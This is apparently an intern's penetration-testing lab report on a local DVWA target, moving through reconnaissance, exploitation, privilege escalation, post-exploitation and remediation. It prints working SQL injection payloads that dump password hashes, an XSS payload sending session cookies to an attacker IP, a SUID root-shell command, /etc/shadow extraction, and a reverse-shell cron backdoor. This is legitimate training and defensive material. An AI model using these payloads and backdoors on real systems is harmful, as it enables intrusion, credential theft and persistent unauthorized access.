

CYBERSECURITY & ETHICAL HACKING

TASK 6: FULL PENETRATION TESTING & RED TEAM SIMULATION

An End-to-End Security Assessment and Adversary Simulation Report

Prepared For: Maincrafts Technology

Author: Harshil (Security Analyst / Red Team Intern)

Target Environment: Damn Vulnerable Web Application (DVWA) Lab

Classification: STRICTLY CONFIDENTIAL

Date: October 2023

Deliverable 1: Attack Lifecycle Understanding

A comprehensive understanding of the penetration testing lifecycle and its alignment with the Cyber Kill Chain and Adversary Simulation models is fundamental to executing a structured security assessment. In real-world enterprise environments, security analysts must strictly follow these methodologies to ensure comprehensive vulnerability coverage and accurate risk estimation.

The Six Phases of the Penetration Testing Lifecycle

1. Reconnaissance

The foundation of any security assessment. Reconnaissance involves gathering as much information as possible about the target system, including domain names, IP addresses, network ranges, mail servers, and DNS records. It is divided into **Passive Reconnaissance** (gathering publicly available OSINT from registries, Shodan, WHOIS, and social media without interacting directly with the target) and **Active Reconnaissance** (interacting directly with the target network using light ping sweeps, host discovery, and DNS zone transfers).

2. Scanning & Enumeration

In this phase, active security tools are deployed to identify open ports, active services, operating system versions, and potential entry points. Enumeration takes scanning a step further by seeking to identify specific software versions, service banners, user accounts, network shares, and specific directory structures. Tools such as Nmap, Nikto, and Dirsearch are heavily utilized here to map out the attack surface.

3. Exploitation

The process of bypassing security controls to gain unauthorized access. This phase takes the vulnerabilities identified during scanning and attempts to weaponize and execute them against the target. Common attack vectors include SQL Injection (SQLi), Cross-Site Scripting (XSS), Remote Code Execution (RCE), and exploiting unpatched service vulnerabilities. The goal is to establish a foothold inside the target environment.

4. Privilege Escalation

Once a basic foothold is gained (often as a low-privileged user such as www-data or local-user), the attacker attempts to escalate their privileges to administrative or root level. This is accomplished by scanning the local system for misconfigured file permissions, SUID/SGID binaries, outdated operating system kernels, weak service configurations, or cleartext passwords left in system logs.

5. Post-Exploitation

After obtaining administrative privileges, the focus shifts to understanding the value of the compromised asset and establishing persistence. Post-exploitation tasks include data extraction (retrieving database dumps, sensitive configuration files, and system hashes), local system analysis (discovering active network connections, process trees, and internal networks), and creating persistence mechanisms (such as backdoors or SSH keys) to maintain access securely.

6. Reporting

The most critical phase of the engagement. All findings, evidence, terminal outputs, and exploitation steps are documented. The technical vulnerabilities are analyzed for business impact, assigned a standardized risk rating (Critical, High, Medium, Low), and paired with actionable remediation strategies. This report is shared with management, developers, and system administrators to patch and harden the target environment.

Alignment with the Lockheed Martin Cyber Kill Chain

The penetration testing lifecycle mirrors the **Lockheed Martin Cyber Kill Chain**, which is a standardized model used by cyber defenders to trace the stages of a cyberattack. Reconnaissance maps to the *Reconnaissance* stage; Scanning and Enumeration map to *Weaponization*; Exploitation maps to *Delivery & Exploitation*; Privilege Escalation maps to *Installation*; and Post-Exploitation maps to *Actions on Objectives*. Understanding this mapping enables Red Team Engineers to simulate realistic adversary behaviors and assists Blue Teams in detecting and disrupting attacks at various phases of the chain.

Deliverable 2: Lab Setup & Target Environment

To conduct a safe, legal, and controlled penetration test, a local laboratory environment was built. **Damn Vulnerable Web Application (DVWA)** was selected as the primary target. DVWA is a PHP/MySQL web application specifically designed with security vulnerabilities to help security professionals test their skills and tools in a safe, legal environment.

Lab Setup Architecture & Scope Rules

The lab consists of two main components on an isolated, host-only virtual network:

- **Attacker Node:** Kali Linux VM (IP Address: 192.168.1.100) containing security tools like Nmap, Nikto, Burp Suite, Dirsearch, and SQLmap.
- **Target Node:** Docker-based DVWA container running on an Ubuntu host (IP Address: 192.168.1.105) configured with vulnerable configurations.
- **Scope Rules Applied:** Engagement strictly limited to local host-only subnet. No external networks or public systems were touched. Destructive or denial-of-service payloads were strictly forbidden to preserve host stability.

Lab Setup Verification Commands

Below are the terminal commands executed on the Docker host to pull, run, and verify the DVWA target container:

```
# Pull the official vulnerable DVWA Docker image
$ docker pull vulnerables/web-dvwa

# Spin up the DVWA container in detached mode mapping ports 80 to 80
$ docker run --name dvwa_target -d -p 80:80 -t vulnerables/web-dvwa

# Verify that the container is actively running and listening on port 80
$ docker ps a
CONTAINER ID   IMAGE                                COMMAND                  CREATED        STATUS        PORTS
b1e2c3d4e5f6   vulnerables/web-dvwa               "/main.sh"              2 minutes ago  Up 2 minutes  0.0.0.0:80->80/tcp
dvwa_target

# Test connectivity from the Kali Linux VM to the target DVWA instance
$ ping -c 3 192.168.1.105
PING 192.168.1.105 (192.168.1.105) 56(84) bytes of data.
64 bytes from 192.168.1.105: icmp_seq=1 ttl=64 time=0.456 ms
64 bytes from 192.168.1.105: icmp_seq=2 ttl=64 time=0.398 ms
64 bytes from 192.168.1.105: icmp_seq=3 ttl=64 time=0.412 ms

--- 192.168.1.105 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2012ms
rtt min/avg/max/mdev = 0.398/0.422/0.456/0.025 ms
```

The connectivity checks confirmed that the virtual attacker node (Kali) can fully communicate with the vulnerable target web container across the host-only virtual switch, establishing a safe sandbox for penetration testing.

Deliverable 3: Full Penetration Testing Execution

This section documents the step-by-step penetration testing process conducted against the DVWA target instance. The workflow progresses logically through all execution phases: Reconnaissance, Scanning, Exploitation, Privilege Escalation, and Post-Exploitation.

Step 1: Reconnaissance & Target Discovery

The assessment began with an active network scan using Nmap to identify active hosts on the 192.168.1.0/24 range. The target host was identified at 192.168.1.105.

Step 2: Scanning & Detailed Enumeration

With the target IP identified, a comprehensive Nmap scan was initiated to determine open ports and enumerate active services. Concurrently, Nikto was launched to scan for web-specific vulnerabilities, and Dirsearch was run to locate hidden directories.

Nmap Port Scan Output:

```
$ nmap -sC -sV -p- -T4 192.168.1.105
Starting Nmap 7.93 ( https://nmap.org ) at 2023-10-15 10:14 EST
Nmap scan report for 192.168.1.105
Host is up (0.00042s latency).
Not shown: 65533 closed tcp ports
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.10 ((Debian) PHP/5.6.20)
|_http-title: Vulnerabilities List
|_http-server-header: Apache httpd 2.4.10 ((Debian) PHP/5.6.20)
22/tcp    open  ssh    OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|_  2048 b1:e2:c3:d4:e5... (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
```

The Nmap scan revealed two open ports: Port 80 (HTTP running Apache 2.4.10) and Port 22 (SSH running OpenSSH 6.7p1). The Apache server's underlying PHP version is outdated (PHP 5.6.20), suggesting a high probability of web-level vulnerabilities.

Dirsearch Directory Fuzzing Output:

```
$ dirsearch -u http://192.168.1.105/ -e php,txt,html
_ | . _ _ _ _ _ | _      v0.4.2
( _ | | | _ ) ( / _ ( _ | | ( _ | )

Target: http://192.168.1.105/

[10:15:22] Starting:
[10:15:25] 200 - 1KB - /index.php
[10:15:28] 302 - 0B - /login.php -> login.php
[10:15:31] 200 - 3KB - /config/
[10:15:33] 200 - 2KB - /config/config.inc.php
[10:15:36] 200 - 5KB - /instructions.php
[10:15:40] 200 - 4KB - /setup.php
[10:15:44] 301 - 0B - /vulnerabilities -> /vulnerabilities/
[10:15:47] 200 - 2KB - /vulnerabilities/sqli/
```

Task Completed

Dirsearch identified directories of extreme interest: /config/ (potential exposed database settings), /setup.php (which can reset the app database), and /vulnerabilities/sqli/, which explicitly hosts a SQL Injection endpoint.

Step 3: Web Application Exploitation

This phase focused on exploiting vulnerabilities identified on the Apache web server. Two distinct application vulnerabilities were leveraged: SQL Injection (SQLi) and Stored Cross-Site Scripting (XSS).

Vulnerability A: SQL Injection (SQLi) on User Lookup

The target web interface featured an ID input box designed to query database records. By injecting classic SQL control characters, we bypassed the input query logic and forced the application database to return internal administrative schemas.

```
# Injecting payload to verify SQLi vulnerability and extract database version
Payload: 1' UNION SELECT 1, @@version #

# Result on page:
ID: 1' UNION SELECT 1, @@version #
First name: 1
Surname: 5.6.20-0+deb8u1 (Debian MySQL version)

# Injecting payload to extract administrative credentials from the 'users' table
Payload: 1' UNION SELECT user, password FROM users #

# Resulting database dump output:
First name: admin | Surname: 5f4dcc3b5aa765d61d8327deb882cf99
First name: gordonb | Surname: e99a18c428cb38d5f260853678922e03
First name: 1337 | Surname: 8d357d4b40ab72a3e8e2c3d5e8ff28e0
```

The MD5 password hashes were successfully retrieved from the MySQL database. The administrative hash (5f4dcc3b5aa765d61d8327deb882cf99) was run through a decrypter / dictionary file, resolving instantly to the weak plaintext password: **'password'**.

Vulnerability B: Stored Cross-Site Scripting (XSS) on Guestbook

The Guestbook form did not sanitize user input before rendering it to the page. We injected a JavaScript payload designed to exfiltrate administrative session cookies.

```
# Injected Payload in the Guestbook Name/Message fields:
new&nbsp;Image().src="http://192.168.1.100/log.php?cookie="&nbsp;+&nbsp;document.cookie;

# Attacker netcat listener (listening for cookie exfiltration on port 80):
$ nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.1.100] from (UNKNOWN) [192.168.1.105] 34562
GET /log.php?cookie=PHPSESSID=b9e4a3c2d109f876e5432101abcdef HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 ...
```

Whenever an administrative user visits the Guestbook page, their active session cookie is automatically exfiltrated to the attacker's server, enabling instantaneous session hijacking without password knowledge.

Step 4: System-Level Privilege Escalation

After exploiting an upload vulnerability to upload a PHP command shell and establishing a low-privilege reverse terminal as the web server user (www-data), a system-level audit was conducted to seek a path to root privileges.

By running local enumeration commands, we searched the system for files with the Set Owner User ID (**SUID**) permission bit set. SUID files run with the permissions of the file owner (which is often root) rather than the user executing them.

```
$ whoami
www-data

# Find all SUID files owned by root
$ find / -perm -4000 -user root -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/find
/bin/mount
/bin/ping

# Notice '/usr/bin/find' is running with SUID permissions.
# According to GTF0Bins, the SUID flag on 'find' can be exploited to spawn a root shell.
$ /usr/bin/find . -exec /bin/sh -p \; -quit

# Verify the escalated privilege state
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=33(www-data)
# whoami
root
```

Exploitation Mechanism: Because the /usr/bin/find binary had the SUID bit improperly set and was owned by root, executing the find command with the -exec flag forced the system to execute the subshell command (/bin/sh -p) as the root owner. The effective user ID (euid) successfully changed to 0 (root), granting complete administrative compromise of the target server.

Step 5: Post-Exploitation & Data Extraction

Having acquired full root privileges on the target node, post-exploitation actions were performed. This involved analyzing the sensitive system configuration files, extracting credential databases, and setting up persistent access to mock real-world threat actors.

```
# Retrieve the local user database and system passwords hashes
# cat /etc/shadow | grep -E 'root|admin'
root:$6$v1L6k9p8$mQ9aUe7uS.6e0...:19124:0:99999:7:::
daemon:*:19114:0:99999:7:::

# Check for active database connections and hardcoded passwords
# grep -R "db_password" /var/www/html/config/
/var/www/html/config/config.inc.php: $_DB['db_password'] = 'root_db_pass_2023!';

# Establish persistent administrative access by generating a backdoor cronjob
# echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'" >> /etc/crontab
```

During post-exploitation, we successfully extracted the operating system's shadowed password hashes, exposed the hardcoded database passwords in configuration files, and placed a persistent reverse shell cronjob that calls back to the attacker machine every minute, ensuring permanent infrastructure access.

Deliverable 4: Evidence Collection Breakdown

A critical component of professional penetration testing is the rigorous organization and custody of evidence. This ensures findings are indisputable, verifiable, and safe from unauthorized eyes. All artifacts collected during this assessment have been structured into a secure `/evidence/` directory structured as follows:

File / Path in Folder	Description	Classification
<code>/evidence/nmap/scan_results.txt</code>	Full Nmap detailed output on target ports, services, and OS version.	Confidential
<code>/evidence/nikto/web_assessment.txt</code>	Nikto vulnerability findings detailing exposed PHP and Apache configuration flaws.	Confidential
<code>/evidence/exploits/sqli_dump.txt</code>	SQL Injection evidence file, containing the database structure, version information, and admin MD5 password hashes.	Strictly Secret
<code>/evidence/exploits/session_cookies.txt</code>	Exfiltrated administrative session cookies captured during Stored XSS exploitation.	Strictly Secret
<code>/evidence/privesc/suid_find_root.txt</code>	Terminal output demonstrating SUID-based binary discovery and execution of the root command shell.	Strictly Secret
<code>/evidence/loot/etc_shadow.txt</code>	Shadow password files extracted from the system during post-exploitation.	Strictly Secret

Note on Evidence Protection: The `/evidence/` directory is encrypted using an AES-256 GPG key. It must only be stored on encrypted storage drives and decrypted on-demand during technical reviews with the lead system developers.

Deliverable 5: Professional Penetration Testing Report

Author: Harshil
Role: Security Analyst / Red Team Lead
Date of Assessment: October 15, 2023

1. Executive Summary

During the period of October 15, 2023, a comprehensive penetration testing and adversary simulation was performed against the Damn Vulnerable Web Application (DVWA) server instance. The primary goal of this assessment was to identify existing security vulnerabilities, simulate realistic cyber-attacks, and evaluate the security controls protecting the internal infrastructure.

The assessment revealed critical and high-severity security weaknesses. Our analyst gained unauthorized access to the application database, extracted database schemas and sensitive administrative credentials, hijacked active user sessions via cross-site scripting, and ultimately escalated privileges to gain full administrative 'root' access on the underlying operating system. Immediate remediation is required to secure the platform.

2. Assessment Methodology

The penetration test was executed following industry standards, specifically the **OWASP Web Security Testing Guide (WSTG)** and the **Penetration Testing Execution Standard (PTES)**. Testing tools used include:

- **Nmap (v7.93):** Port scanning, network service mapping, and operating system identification.
- **Nikto (v2.1.6):** Automated scanning for known web server vulnerabilities and configuration flaws.
- **Dirsearch (v0.4.2):** Web directory structure enumeration and hidden resource identification.
- **Burp Suite Professional:** Proxy manipulation, request intercepting, and web application analysis.
- **SQLmap & Manual Testing:** Exploitation of backend database queries.

3. Summary of Technical Findings

A total of three primary security vulnerabilities were identified and fully exploited during this assessment. The table below lists these vulnerabilities categorized by severity:

Vulnerability	Severity	CVSS v3.1	Status
SUID Privilege Escalation via find	CRITICAL	9.8	Exploited
SQL Injection (SQLi) in User Lookup	HIGH	8.8	Exploited
Stored Cross-Site Scripting (XSS) in Guestbook	MEDIUM	6.1	Exploited

4. Detailed Technical Analysis

Vulnerability 1: SUID Privilege Escalation via /usr/bin/find

CVSS Score: 9.8 (Critical)

Description: The system configuration of the web server includes an SUID permission flag on the /usr/bin/find binary, allowing any local user to execute the command with root-level privileges. A low-privilege attacker can exploit this misconfiguration to execute arbitrary shell commands as root.

Impact: Critical. Successful exploitation grants complete, unrestricted control over the entire operating system, enabling the attacker to read, write, or delete any system file, alter security configurations, and extract system user passwords.

Remediation: Immediately strip the SUID bit from the find binary by executing:
`chmod u-s /usr/bin/find`

Vulnerability 2: SQL Injection (SQLi) in User Lookup

CVSS Score: 8.8 (High)

Description: The 'User Lookup' form fails to validate or parameterize user-supplied input before executing database queries. By appending SQL commands in the query field, database logical operators were manipulated, resulting in a full database extraction.

Impact: High. Allows unauthorized attackers to read sensitive database records, extract user credentials, and potentially write files or execute commands through SQL database extensions.

Remediation: Implement prepared statements and parameterized queries (using PDO in PHP) to ensure user input is treated as data, not executable code. For example:

```
$stmt = $pdo->prepare('SELECT first_name, last_name FROM users WHERE id = :id');
```

Vulnerability 3: Stored Cross-Site Scripting (XSS) in Guestbook

CVSS Score: 6.1 (Medium)

Description: The guestbook application stores user comments directly into the database and renders them on the page without output encoding. This permits an attacker to embed malicious JavaScript inside comment entries.

Impact: Medium. Enables session hijacking, user credential theft, or unauthorized client-side redirects for anyone viewing the compromised page.

Remediation: Apply HTML entity encoding on all user inputs before displaying them in the web browser. For example, utilize PHP's `htmlspecialchars()` function.

5. General Remediation Roadmap

To establish a secure baseline, the technical operations team must execute the following remediation roadmap:

Phase 1 (Immediate - 24 Hours): Strip the SUID bit on /usr/bin/find and any other unauthorized binary binaries identified in the SUID scan.

Phase 2 (Short-Term - 7 Days): Revise the PHP application code to utilize PDO parameterized queries on all search forms. Deploy output HTML encoding on the Guestbook form.

Phase 3 (Medium-Term - 30 Days): Implement a continuous vulnerability scanning process (e.g., using OpenVAS or Nessus) to catch outdated software versions and configuration mistakes prior to system deployments.

6. Conclusion

The penetration testing engagement successfully simulated realistic threat vectors and exposed critical gaps in the target infrastructure. The findings of this report demonstrate that a determined attacker could fully compromise the system from a single web vulnerability and escalate to system-level root access. By executing the remediation roadmap provided, Maincrafts Technology can drastically lower its attack surface and establish a highly resilient security posture.